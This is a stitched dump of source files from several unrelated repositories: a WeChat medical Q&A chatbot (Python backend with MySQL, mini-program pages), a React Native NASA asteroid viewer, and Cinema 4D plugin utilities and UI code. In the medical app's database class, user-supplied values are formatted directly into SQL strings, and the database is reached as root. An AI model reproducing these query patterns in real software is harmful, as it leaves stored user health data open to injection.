self.dbs.db_add_question(openid,key_option+1,origin_question,user_question,ans)
return '健康小医生建议:\n'+ans.encode('utf8').rstrip('w')
#print max_num
def model_built(self):
sess = tf.Session(config=self.config.cf)
# 建立CNN网络
self.cnn = QACNN(self.config, sess)
sess.run(tf.global_variables_initializer())
saver = tf.train.Saver(max_to_keep=2)
#恢复之前模型
saver.restore(sess, tf.train.latest_checkpoint('server/models/'))
self.sess = sess
###数据库执行类函数
def check_if_exist(self,table,col_name,val):
#return True if existed before
return self.dbs.if_check(table,col_name,val)
def write_user_info(self,q_open_id,q_nickname,q_gender,q_city):
table = 'med_user'
col_name = 'open_id'
if self.check_if_exist(table,col_name,q_open_id):
self.dbs.db_add_user(q_open_id,q_nickname,q_gender,q_city)
def get_send_group(self,openid,appid,appsecret,session_key,en_data,iv,share_type):
#return True if existed before
pc = WXBizDataCrypt(appid, session_key)
de_data = pc.decrypt(en_data, iv)
gid = de_data['openGId']
share_type = int(share_type)
table = 'med_group'
col_name = 'open_gid'
if self.check_if_exist(table,col_name,gid):
self.dbs.db_add_share(openid,gid,share_type)
<file_sep># -*- encoding:utf-8 -*-
import MySQLdb
import datetime
def get_time():
return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
class qaSQL(object):
def __init__(self):
# 有效长度
self.address = '127.0.0.1'
self.user = 'root'
self.pwd = '<PASSWORD>'
self.db = 'MedQA'
def db_connect(self):
return MySQLdb.connect(self.address, self.user, self.pwd, self.db,charset='utf8')
def db_add_user(self,q_open_id,q_nickname,q_gender,q_city):
conn = self.db_connect()
cursor = conn.cursor()
conn.ping(True)
time = get_time()
try:
cursor.execute("INSERT INTO med_user(open_id,nickname,gender,city,add_time) \
VALUES ('%s','%s','%s','%s','%s')" %(q_open_id, q_nickname, q_gender, q_city, time))
conn.commit()
except:
conn.rollback()
print "mysql error:新增用户信息失败"
conn.close()
def db_add_share(self, open_id,open_gid,share_type):
if len(open_id)>0 and len(open_gid) > 0:
conn = self.db_connect()
cursor = conn.cursor()
conn.ping(True)
try:
#先放入med_group
time = get_time()
cursor.execute("INSERT INTO med_group(open_gid,add_time) \
VALUES ('%s','%s')" %(open_gid,time))
conn.commit()
#查询med_group和med_user的id
cursor.execute("Select u_id from med_user where open_id = '%s'" %(open_id))
results = cursor.fetchall()
if len(results) < 0:
return "u_id not found in med_user"
else:
uid = int(results[0][0])
cursor.execute("Select g_id from med_group where open_gid = '%s'" %(open_gid))
results = cursor.fetchall()
if len(results) < 0:
return "g_id not found in med_group"
else:
gid = int(results[0][0])
#发出去的share类型是1,受到邀请是2
cursor.execute("INSERT INTO med_share(u_id,g_id,type) \
VALUES ('%d','%d','%d')" %(uid, gid, share_type))
conn.commit()
except:
conn.rollback()
print "mysql error:记录发送群信息和群关系错误!!"
conn.close()
def db_add_question(self,openid,ill_type,question,m_question,m_answer):
conn = self.db_connect()
cursor = conn.cursor()
conn.ping(True)
time = get_time()
try:
cursor.execute("Select u_id from med_user where open_id = '%s'" %(openid))
results = cursor.fetchall()
print(results)
if len(results) < 0:
return "u_id not found in med_user"
else:
uid = int(results[0][0])
cursor.execute("INSERT INTO med_qa(u_id,ill_type,question,m_question,m_answer,add_time) \
VALUES ('%d','%d','%s','%s','%s','%s')" %(uid, ill_type, question.encode('utf8'), m_question.encode('utf8'), m_answer.encode('utf8').rstrip('w'),time))
conn.commit()
except:
conn.rollback()
print "mysql error:新增用户问答消息失败"
conn.close()
def if_check(self,table,col_name,val):
boo = True
conn = self.db_connect()
cursor = conn.cursor()
conn.ping(True)
try:
cursor.execute("Select * from %s where %s = '%s'" %(table,col_name,val))
results = cursor.fetchall()
#print(len(results))
if len(results) > 0:
boo = False
except:
conn.rollback()
print "mysql error:查询是否存在记录错误"
conn.close()
return boo
<file_sep>// pages/chat/chat.js
Page({
/**
* 页面的初始数据
*/
data: {
msglist:[],
qa_begin:0,
qa_function:null,
type_id:0,
input_question:'',
scrollTop:0,
hidden:true,
inputVal:'',
num_option:'1234567891011',
nickName:'',
avatarUrl:''
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
var that = this;
wx.getUserInfo({
success: function (res) {
that.setData({
nickName: res.userInfo.nickName,
avatarUrl: res.userInfo.avatarUrl,
})
},
fail: function (res) {
that.setData({
nickName: '尊敬的用户',
avatarUrl: '../../images/头像.png',
})
},
complete: function(res){
that.welcome();
}
});
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
},
arrayFindString:function(arr,string)
{
var str = arr.join("");
return str.indexOf(string);
},
scrollDown:function(len){
var that = this;
that.setData({
scrollTop: this.data.scrollTop + len
});
},
send:function(e){
var that = this;
console.log(this.data.num_option.indexOf(e.detail.value.msg));
if(e.detail.value.msg.length > 0){
var msg = { 'type': 0, 'msg': e.detail.value.msg}
var msglist = this.data.msglist;
msglist.push(msg);
this.setData({
msglist:msglist,
hidden: false,
inputVal: e.detail.value.msg,
inputVal: ''
});
that.scrollDown(100)
if (this.data.qa_begin == 1 && this.data.num_option.indexOf(e.detail.value.msg) > -1) {
this.setData({
type_id: e.detail.value.msg,
qa_function: that.ask_question
});
this.scrollDown(500);
}
else if (this.data.qa_begin == 2) {
this.setData({
input_question: e.detail.value.msg,
qa_function: that.get_similar_qa
});
that.scrollDown(800);
}
else if (this.data.qa_begin == 4) {
if (e.detail.value.msg=="科室"){
this.setData({
qa_function: that.welcome
});
}
else{
this.setData({
qa_function: that.get_similar_qa
});
}
that.scrollDown(800);
}
else{
this.setData({
qa_function: that.error
});
}
this.data.qa_function();
}
},
welcome:function(){
var that = this;
wx.request({
url: 'http://127.0.0.1:5000/hello',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
data: {
user_name: that.data.nickName,
},
method: 'POST',
success: function (res) {
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist
});
},
})
wx.request({
url: 'http://127.0.0.1:5000/type',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: function (res) {
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
qa_begin:1,
hidden: true
});
that.scrollDown(500);
},
})
},
ask_question: function () {
var that = this;
wx.request({
url: 'http://127.0.0.1:5000/ask',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: function (res) {
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
qa_begin:2,
hidden: true
});
that.scrollDown(200);
}
})
},
get_similar_qa: function () {
var that = this;
console.log(that.data.type_id)
wx.request({
url: 'http://127.0.0.1:5000/get_qa',
data: {
key_option:that.data.type_id,
q_file:that.data.input_question,
user_name: that.data.nickName
},
method: 'POST',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: function (res) {
if(res.statusCode == 200){
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
qa_begin: 3,
hidden: true
});
that.scrollDown(200);
that.back_to_first();
}
else if(res.statusCode == 400){
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
hidden: true
});
that.scrollDown(200);
}
}
})
},
back_to_first: function () {
var that = this;
console.log(that.data.type_id)
wx.request({
url: 'http://127.0.0.1:5000/return',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: function (res) {
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
qa_begin: 4,
hidden: true
});
that.scrollDown(200);
}
})
},
error: function () {
var that = this;
wx.request({
url: 'http://127.0.0.1:5000/error',
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: function (res) {
var msg = { 'type': 1, 'msg': res.data }
var msglist = that.data.msglist;
msglist.push(msg);
that.setData({
msglist: msglist,
hidden: true
});
that.scrollDown(200);
}
})
}
})
<file_sep>// pages/intro/intro.js
Page({
/**
* 页面的初始数据
*/
data: {
imagefirstsrc: '../../images/info_background.png',//图片链接
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
wx.showShareMenu({
withShareTicket: true,
success: function (res) {
// 分享成功
console.log('shareMenu share success')
console.log('分享' + res)
},
fail: function (res) {
// 分享失败
console.log(res)
}
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
return {
title: '智能问诊小医生',
//desc: '分享描述,一句话。',
path: '/page/chat/index?id=123',
success: function (res) {
console.log(res.shareTickets[0])
// console.log
wx.getShareInfo({
shareTicket: res.shareTickets[0],
success: function (res) { console.log(res) },
fail: function (res) { console.log(res) },
complete: function (res) { console.log(res) }
})
},
fail: function (res) {
// 分享失败
console.log(res)
}
}
},
gotoshare:function(){
wx.navigateTo({
url: '../share/share',
})
}
}) | 715b0bd23d38461562c12ab74af6f6bfe11b7c4d | [
"JavaScript",
"Python"
] | 8 | Python | yeah529/medqa1.0 | 649d21e3bcd9ea0b76ff7d1587454ab38790101f | 42c3bb4118cc661c6f25c79d947009dbaff7b5dd |
refs/heads/main | <file_sep>import React, { Component } from 'react';
import {
StyleSheet,
View,
Text,
TextInput,
TouchableOpacity,
Dimensions,
} from 'react-native';
const { width, height } = Dimensions.get("window")
export default class AsteroidInfo extends Component {
constructor(props) {
super(props)
this.state = {
asteroidData: props.navigation.getParam('asteroidData')
}
}
render() {
const { asteroidData } = this.state
return (
<View style={styles.container}>
<View style={styles.asteroidDetail}>
<Text style={styles.text}> <Text style={{ fontSize: 18, fontWeight: "bold" }}>Name{" "}:</Text>{" "}{asteroidData.name}</Text>
<Text style={styles.text}> <Text style={{ fontSize: 18, fontWeight: "bold" }}>Nasa Jpl Url{" "}:</Text>{" "}{asteroidData.nasa_jpl_url}</Text>
<Text style={styles.text}> <Text style={{ fontSize: 18, fontWeight: "bold" }}>Hazardous{" "}:</Text>{" "}{asteroidData.is_potentially_hazardous_asteroid ? "True" : "False"}</Text>
</View >
</View >
)
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#fff",
justifyContent: "center"
},
asteroidDetail: {
width: width - 30,
marginHorizontal: 15,
height: height * 0.25,
elevation: 2,
backgroundColor: "#dddddd",
borderRadius: 10, justifyContent: "center"
},
text: {
paddingHorizontal: 10,
fontSize: 16,
marginVertical: 10,
color: "#000000"
}
});
<file_sep>/**
* Sample React Native App
* https://github.com/facebook/react-native
*
* @format
* @flow strict-local
*/
import React from 'react';
import { createStackNavigator } from 'react-navigation-stack';
import AsteroidInfo from './screens/AsteroidInfo';
import HomeScreen from './screens/HomeScreen';
import { createAppContainer } from 'react-navigation';
import { View } from 'react-native';
class App extends React.Component {
render() {
return (
<View>
</View>
)
}
}
const Root = createStackNavigator({
Home: HomeScreen,
AsteroidInfo: AsteroidInfo
},
{
initialRouteName: "Home",
})
export default createAppContainer(Root)
<file_sep>/**
* Sample React Native App
* https://github.com/facebook/react-native
*
* @format
* @flow strict-local
*/
import React, { Component } from 'react';
import {
StyleSheet,
View,
Text,
TextInput,
TouchableOpacity,
Dimensions,
} from 'react-native';
const { width, height } = Dimensions.get("window")
const API_KEY = "<KEY>";
class HomeScreen extends Component {
constructor() {
super()
this.state = {
asteroidId: "",
asteroidData: []
}
}
getAsteroidData = () => {
fetch("https://api.nasa.gov/neo/rest/v1/neo/" + this.state.asteroidId + "?api_key=" + API_KEY)
.then(res => res.json())
.then(resJson => {
this.setState({
asteroidData: resJson
}, () => {
this.props.navigation.navigate("AsteroidInfo", { asteroidData: this.state.asteroidData })
})
})
.catch(e => {
alert("Enter Valid Id")
})
}
getRandomAsteroidData = () => {
fetch("https://api.nasa.gov/neo/rest/v1/neo/browse?api_key=DEMO_KEY")
.then(res => res.json())
.then(resJson => {
var randomNumber = Math.floor(Math.random() * 20) + 0
this.setState({
asteroidId: resJson.near_earth_objects[randomNumber].id
}, () => {
this.getAsteroidData()
})
})
}
render() {
const { asteroidId } = this.state
return (
<View style={styles.container}>
<View style={styles.form}>
<TextInput
keyboardType="numeric"
style={styles.textInput}
value={asteroidId}
placeholder="Enter Asteroid ID"
onChangeText={(asteroidId) => { this.setState({ asteroidId }) }}
/>
<TouchableOpacity
style={[styles.button, { opacity: asteroidId == "" ? 0.5 : 1 }]} onPress={() => { this.getAsteroidData() }} disabled={asteroidId == "" ? true : false}>
<Text style={{ color: "#ffffff", fontSize: 20, letterSpacing: 2 }}>SUBMIT</Text>
</TouchableOpacity>
<TouchableOpacity
style={styles.button} onPress={() => { this.getRandomAsteroidData() }} >
<Text style={{ color: "#ffffff", fontSize: 20, letterSpacing: 2 }}>RANDOM ASTEROID</Text>
</TouchableOpacity>
</View>
</View>
)
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: "#ffffff",
justifyContent: "center"
},
form: {
width: width - 30,
marginHorizontal: 15,
height: height * 0.40,
elevation: 2,
backgroundColor: "#dddddd",
borderRadius: 10,
},
textInput: {
marginTop: 10,
height: 60,
width: "90%",
borderBottomWidth: 1,
alignSelf: "center",
fontSize: 18,
paddingLeft: 5
},
button: {
width: width * 0.6,
height: 45,
borderRadius: 5,
backgroundColor: "#000000",
justifyContent: "center",
alignContent: "center",
alignItems: "center",
alignSelf: "center",
marginTop: 40
}
});
export default HomeScreen;
| 73e1da776e1c2612a6716c4ffdb7019bfd0b5e07 | [
"JavaScript"
] | 3 | JavaScript | Jeopardous/ddc604bafacf0c19fafb | ec2a753cc3985793c97cdcc7c68a6f73066d8659 | 6b5563b6c641b01d3499fcb895b48d2e76f3cf5c |
refs/heads/master | <repo_name>nrosenstein-c4d/c4d-prototype-converter<file_sep>/c4d_prototype_converter/ui/HelpMenu.py
import c4d
import nr.c4d.ui
import textwrap
import webbrowser
from .. import __version__
class HelpMenu(nr.c4d.ui.Component):
def __init__(self, id=None):
super(HelpMenu, self).__init__(id)
self.load_xml_file('./HelpMenu.xml')
self['about'].add_event_listener('click', self._on_about)
self['help'].add_event_listener('click', self._on_help)
self['report'].add_event_listener('click', self._on_report)
def _on_about(self, item):
c4d.gui.MessageDialog(textwrap.dedent('''
C4D Prototype Converter v{}
Programming and Design: <NAME>
Concept and Design: <NAME>
This project was sponsored by <NAME>.
''').strip().format(__version__))
def _on_help(self, item):
webbrowser.open('https://github.com/NiklasRosenstein/c4d-prototype-converter/wiki')
def _on_report(self, item):
webbrowser.open('https://github.com/NiklasRosenstein/c4d-prototype-converter/issues')
<file_sep>/lib/nr.c4d/src/nr/c4d/aabb.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
'''
This module provides the #AABB class to compute the axis aligned bounding box
of an object or a set of objects.
'''
import c4d
from c4d import Vector
from .math import vmin, vmax
class AABB(object):
''' This class is used to compute the axis aligned bounding box of
an object, a set of objects or a set of points.
.. code-block:: python
from nr.c4d.misc import aabb
box = aabb.AABB()
box.add(point)
box.add_object(op, recursive=True)
print(box.midpoint)
print(box.size)
:param translation:
A :class:`c4d.Matrix` that is applied to all points that are
added to the *AABB* with :meth:`add`.
.. attribute:: minv
The minimum Vector. Initialized with None.
.. attribute:: maxv
The maximum Vector. Initialized with None.
.. attribute:: init
True if the *AABB* object has been initialized with at least one
point, False if not.
.. attribute:: translation
The translation :class:`~c4d.Matrix` that is applied to all objects
added to the box with :meth:`add`.
'''
def __init__(self, translation=None):
super(AABB, self).__init__()
if translation is None:
translation = c4d.Matrix()
self.minv = None
self.maxv = None
self.init = False
self.translation = translation
def add(self, point):
''' Add the specified *point* to the *AABB*. The point is multiplied
by the internal :attr:`translation` matrix. '''
point = point * self.translation
if not self.init:
self.minv = c4d.Vector(point)
self.maxv = c4d.Vector(point)
self.init = True
else:
self.minv = vmin(self.minv, point)
self.maxv = vmax(self.maxv, point)
def add_object(self, obj, recursive=False, slow=False):
''' Add corner points of *obj* to the *AABB*.
:param obj: A :class:`c4d.BaseObject`
:param recursive: If True, child objects will be added as well.
:param slow: If True, :class:`c4d.PointObject` objects that are
encountered are computed *slowly* by taking each point separately.
This should usually not be necessary as the bounding box of the
object is computed when :data:`c4d.MSG_UPDATE` is sent.
'''
mg = obj.GetMg()
if slow and isinstance(obj, c4d.PointObject):
for p in obj.GetAllPoints():
self.add(p * mg)
else:
mp = obj.GetMp()
bb = obj.GetRad()
V = c4d.Vector
self.add(V(mp.x + bb.x, mp.y + bb.y, mp.z + bb.z) * mg)
self.add(V(mp.x - bb.x, mp.y + bb.y, mp.z + bb.z) * mg)
self.add(V(mp.x + bb.x, mp.y + bb.y, mp.z - bb.z) * mg)
self.add(V(mp.x - bb.x, mp.y + bb.y, mp.z - bb.z) * mg)
self.add(V(mp.x + bb.x, mp.y - bb.y, mp.z + bb.z) * mg)
self.add(V(mp.x - bb.x, mp.y - bb.y, mp.z + bb.z) * mg)
self.add(V(mp.x + bb.x, mp.y - bb.y, mp.z - bb.z) * mg)
self.add(V(mp.x - bb.x, mp.y - bb.y, mp.z - bb.z) * mg)
if recursive:
for child in obj.GetChildren():
self.add_object(child, True)
@property
def midpoint(self):
''' The mid point of the bounding box. '''
return (self.minv + self.maxv) * 0.5
@property
def size(self):
''' The size of the bounding box, from the middle to one of the corners. '''
return (self.maxv - self.minv) * 0.5
<file_sep>/c4d_prototype_converter/utils.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import errno
import os
import weakref
from nr.types.generic import Generic
class nullable_ref(object):
'''
A weak-reference type that can represent #None.
'''
def __init__(self, obj):
self.set(obj)
def __repr__(self):
return '<nullable_ref to {!r}>'.format(self())
def __call__(self):
if self._ref is not None:
return self._ref()
return None
def __bool__(self):
return self._ref is not None
__nonzero__ = __bool__
def set(self, obj):
self._ref = weakref.ref(obj) if obj is not None else None
def makedirs(path, raise_on_exists=False):
'''
Like #os.makedirs(), but by default this function does not raise an
exception if the directory already exists.
'''
try:
os.makedirs(path)
except OSError as exc:
if raise_on_exists or exc.errno != errno.EEXIST:
raise
class Node(Generic['data_cls']):
"""
Generic tree node type.
"""
def __init__(self, *args, **kwargs):
if not self.__generic_bind__:
raise TypeError('missing generic arguments for Node class')
if self.data_cls is None:
if args or kwargs:
raise TypeError('{} takes no arguments'.format(type(self).__name__))
self.data = None
else:
self.data = self.data_cls(*args, **kwargs)
self.parent = nullable_ref(None)
self.children = []
def __repr__(self):
return '<Node data={!r}>'.format(self.data)
def __getitem__(self, key):
if isinstance(self.data, dict):
return self.data[key]
return getattr(self.data, key)
def __setitem__(self, key, value):
if isinstance(self.data, dict):
self.data[key] = value
else:
if hasattr(self.data, key):
setattr(self.data, key, value)
else:
raise AttributeError('{} has no attribute {}'.format(
type(self.data).__name__, key))
def get(self, key, default=None):
if isinstance(self.data, dict):
return self.data.get(key, default)
else:
return getattr(self.data, key, default)
def add_child(self, node):
node.remove()
node.parent.set(self)
self.children.append(node)
def remove(self):
parent = self.parent()
if parent:
parent.children.remove(self)
self.parent.set(None)
def visit(self, func, with_root=True, post_order=False):
if with_root and not post_order:
func(self)
for child in self.children:
child.visit(func)
if with_root and post_order:
func(self)
def depth(self, stop_cond=None):
count = 0
while True:
self = self.parent()
if not self: break
if stop_cond is not None and stop_cond(self): break
count += 1
return count
<file_sep>/lib/nr.c4d/README.md
## `nr.c4d` — A Cinema 4D utility library.
### Components
* `nr.c4d.aabb`
* `nr.c4d.geometry`
* `nr.c4d.gv`
* `nr.c4d.math`
* `nr.c4d.menuparser`
* `nr.c4d.modeling`
* `nr.c4d.normalalign`
* `nr.c4d.octree`
* `nr.c4d.ui` – Cinema 4D User Interface library.
* `nr.c4d.utils`
---
### `nr.c4d.ui`
*C4DUI* is a library that provides a new and object-oriented API to build
user interfaces for Cinema 4D Python plugins. There are two distinct APIs
available for `GeUserArea` and `GeDialog` user interfaces.
* __Widget-based__ —
In *C4DUI*, every element in the user interface is represented by a widget
object. It allows you to alter the properties of a single element and
update the user interface dynamically.
* __Native look__ —
Build native-looking user interfaces with the *C4DUI* dialog abstraction API.
* __Custom & flexible__ —
With the *C4DUI* user-area widget API, you can create arbitrarily complex
user interface with your own style. It is based on a flow-based layout model
similar to (but simpler than) HTML webpages.
* __XML-based static layouts__ —
*C4DUI* enables you to build static interfaces using XML, then modify them
dynamically in your code!
#### Getting Started
1. Create an XML static dialog layout and save it under `res/ui/mydialog.xml`
```xml
<Group borderspace="4,4,4,4" layout="fill" cols="1">
<!-- The MenuGroup can be placed anywhere in the structure. -->
<MenuGroup id="menu">
<MenuGroup name="File">
<MenuItem id="menu:save" name="Save..."/>
<MenuItem id="menu:load" name="Load..."/>
<Separator/>
<MenuItem plugin="IDM_CM_CLOSEWINDOW"/>
</MenuGroup>
</MenuGroup>
<Group layout="fill-x" rows="1">
<UserArea id="brand-logo"/>
<Text id="brand-name" text="Brand Name"/>
</Group>
<Group id="table" layout="fill" cols="2">
<!-- We will fill this group dynamically. -->
</Group>
<Button id="btn:add" layout="right" text="Add"/>
</Group>
```
2. Now, start a new Cinema 4D [Node.py] plugin. To do this, you can generate a
"loader" script with [C4DDev]:
```
> c4ddev build-loader -co loader.pyp -e myplugin
```
3. In `myplugin.py`, we'll start with this very straight-forward code:
```python
import os
import c4d
import c4dui from '@NiklasRosenstein/c4dui'
PLUGIN_ID = 1039533
dialog = c4dui.DialogWindow()
dialog.load_xml_file(os.path.join(__directory__, 'res/ui/mydialog.xml'))
dialog.register_opener_command(PLUGIN_ID, "Test Dialog", icon=None)
```
4. Let's attach a user area that renders an image to our "brand logo" widget.
```python
logo = dialog.widgets['brand-logo']
logo.user_area = c4dui.ImageView(os.path.join(__directory__, 'res/logo.png'), max_width=32)
```
5. In order to execute an action when the "Add" button is pressed, we can
register a listener on button-press:
```python
def add_field(button):
field = c4dui.Input(type='string')
button = c4dui.Button(text='X')
# Callback for the new button that we create.
@button.add_event_listener('click')
def on_click(btn):
field.remove()
button.remove()
# Add the two new elements to the group.
group = dialog.widgets['table']
group.pack(field)
group.pack(button)
dialog.widgets['btn:add'].add_event_listener('click', add_field)
```
6. Reacting to a click on an item in the menuline is the same procedure. A
special case here is that the `click` event can be received on the `MenuItem`
itself but also on any parent `MenuGroup`.
```python
menu = dialog.widgets['menu']
@menu.add_event_listener('click')
def on_menu_click(item):
if item.id == 'menu:save':
# ...
elif item.id == 'menu:load':
# ...
```
---
<p align="center">Copyright © 2018 <NAME></p>
<file_sep>/lib/nr.c4d/src/nr/c4d/ui/native/base.py
# Copyright (c) 2017 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE
import abc
import types
import weakref
from .manager import WidgetManager
class AwaitingListeners(list):
def next(self):
for item in self:
try:
next(item)
except StopIteration:
pass
__next__ = next
class BaseWidget(object):
"""
Base class for C4D native widgets. Widgets are usually bound to a
#WidgetManager, only then they can allocate IDs and take part in the
dialog layout.
# Members
id (str): The ID of the widget. May be #None.
manager (WidgetManager): A #WidgetManager (internally stored as a weak
reference). If this member is set to #None, the widget is "unbound".
Unbound widgets can not allocate IDs and are not part of any dialog.
enabled (bool): Whether the widget is enabled.
visible (bool): Whether the widget is visible.
parent (Widget): The parent #Widget (internally stored as a weak reference).
"""
__metaclass__ = abc.ABCMeta
def __init__(self, id=None):
self.id = id
self._manager = None
self._allocated_ids = []
self._free_id_offset = 0 # Index of the next free ID in _allocated_ids
self._named_ids = {}
self._render_dirty = 0 # Dirty-count after rendering, set by WidgetManager
self._enabled = self._enabled_temp = True
self._visible = self._visible_temp = True
self._parent = None
self._listeners = {}
@property
def manager(self):
if self._manager is None:
manager = None
else:
manager = self._manager()
if manager is None:
raise RuntimeError('lost reference to WidgetManager')
return manager
@manager.setter
def manager(self, manager):
if manager is not None and not isinstance(manager, WidgetManager):
raise TypeError('expected WidgetManager')
# Remove the widget from the previous manager.
old = self._manager() if self._manager is not None else None
if old:
old._id_widget_map.pop(self.id, None)
if manager is None:
self._manager = None
else:
self._manager = weakref.ref(manager)
manager._id_widget_map[self.id] = weakref.ref(self)
@property
def dialog(self):
manager = self.manager
if manager:
return manager.dialog()
return dialog
@property
def enabled(self):
return self._enabled_temp
@enabled.setter
def enabled(self, value):
self._enabled_temp = bool(value)
manager = self.manager
if self._enabled_temp != self._enabled and manager:
manager.layout_changed()
@property
def visible(self):
while self:
if not self._visible_temp:
return False
self = self.parent
return True
@visible.setter
def visible(self, value):
self._visible_temp = bool(value)
manager = self.manager
if self._visible_temp != self._visible and manager:
manager.layout_changed()
@property
def parent(self):
if self._parent is None:
return None
else:
parent = self._parent()
if parent is None:
raise RuntimeError('lost reference to parent')
return parent
@parent.setter
def parent(self, parent):
if parent is not None and not isinstance(parent, BaseGroupWidget):
raise TypeError('expected BaseGroupWidget')
if parent is None:
self._parent = None
else:
self._parent = weakref.ref(parent)
@property
def previous_sibling(self):
parent = self.parent
if parent:
index = parent._children.index(self) - 1
if index < 0: return None
return parent._children[index]
return None
@property
def next_sibling(self):
parent = self.parent
if parent:
index = parent._children.index(self) + 1
if index >= len(parent._children): return None
return parent._children[index]
return None
def remove(self):
"""
Removes the widget from the hierarchy.
"""
parent = self.parent
if parent is not None:
parent._children.remove(self)
parent.layout_changed()
self._parent = None
def alloc_id(self, name=None):
"""
Allocates a new, unused ID for a dialog element. If a *name* is specified,
the returned ID will be saved under that name and can be retrieved using
#get_named_id().
"""
manager = self.manager
if self._free_id_offset < len(self._allocated_ids):
# Re-use existing IDs.
result = self._allocated_ids[self._free_id_offset]
self._free_id_offset += 1
else:
result = manager.alloc_id()
self._allocated_ids.append(result)
self._free_id_offset = len(self._allocated_ids)
if name is not None:
self._named_ids[name] = result
return result
def get_named_id(self, name, default=NotImplemented):
"""
Returns the value of a named ID previously created with #alloc_id().
Raises a #KeyError if the named ID does not exist. If *default* is
specified, it will be returned instead of a #KeyError being raised.
"""
try:
return self._named_ids[name]
except KeyError:
if default is NotImplemented:
raise
return default
def add_event_listener(self, name, func=None):
"""
Adds an event listener. If *func* is omitted, returns a decorator.
"""
def decorator(func):
